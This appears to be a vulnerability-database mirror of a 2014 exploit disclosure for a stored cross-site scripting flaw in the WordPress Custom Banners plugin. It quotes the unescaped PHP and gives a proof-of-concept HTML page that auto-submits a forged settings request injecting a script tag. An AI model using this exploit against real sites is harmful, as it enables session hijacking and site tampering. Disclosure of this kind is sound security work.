Lucene search
K

WordPress Custom Banners 1.2.2.2 Cross Site Scripting

🗓️ 29 Jun 2014 00:00:00Reported by ACC3SSType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 15 Views

Cross Site Scripting vulnerability in WordPress Custom Banners 1.2.2.

Code
`######################  
# Exploit Title : Wordpress custom-banners 1.2.2.2 Cross Site Scripting  
  
# Exploit Author : Ashiyane Digital Security Team  
  
# Vendor Homepage : http://wordpress.org/plugins/custom-banners/  
  
# Software Link : http://downloads.wordpress.org/plugin/custom-banners.zip  
  
# Date : 2014-06-28  
  
# Tested on : Windows 7 / Mozilla Firefox  
  
######################  
  
# Vulnerable code :  
  
<table class="form-table">  
<tr valign="top">  
<th scope="row"><label for="custom_banners_registered_name">Email   
Address</label></th>  
<td><input type="text" name="custom_banners_registered_name"   
id="custom_banners_registered_name" value="<?php echo   
get_option('custom_banners_registered_name'); ?>" style="width:   
250px" />  
<p class="description">This is the e-mail address that you used when   
you registered the plugin.</p>  
</td>  
</tr>  
</table>  
  
  
######################  
  
Exploit Code:  
  
<html>  
<body>  
<form name="post_form" method="post"   
action="http://localhost/wp-admin/options.php">  
<input type='hidden' name='option_page'   
value='custom-banners-settings-group' /><input type="hidden"   
name="action" value="update" /><input type="hidden" id="_wpnonce"   
name="_wpnonce" value="8fcfa93c1a" /><input type="hidden"   
name="_wp_http_referer"   
value="/wp-admin/admin.php?page=custom-banners%2Flib%2Fcustom_banners_options.php&settings-updated=true"   
/>  
<input type="hidden" name="custom_banners_registered_name"   
id="custom_banners_registered_name"   
value='"/><script>alert(1);</script>'/>  
<script language="Javascript">  
setTimeout('post_form.submit()', 1);  
</script>  
</form>  
</body>  
</html>  
  
  
#####################  
  
Discovered By : ACC3SS  
  
#####################  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation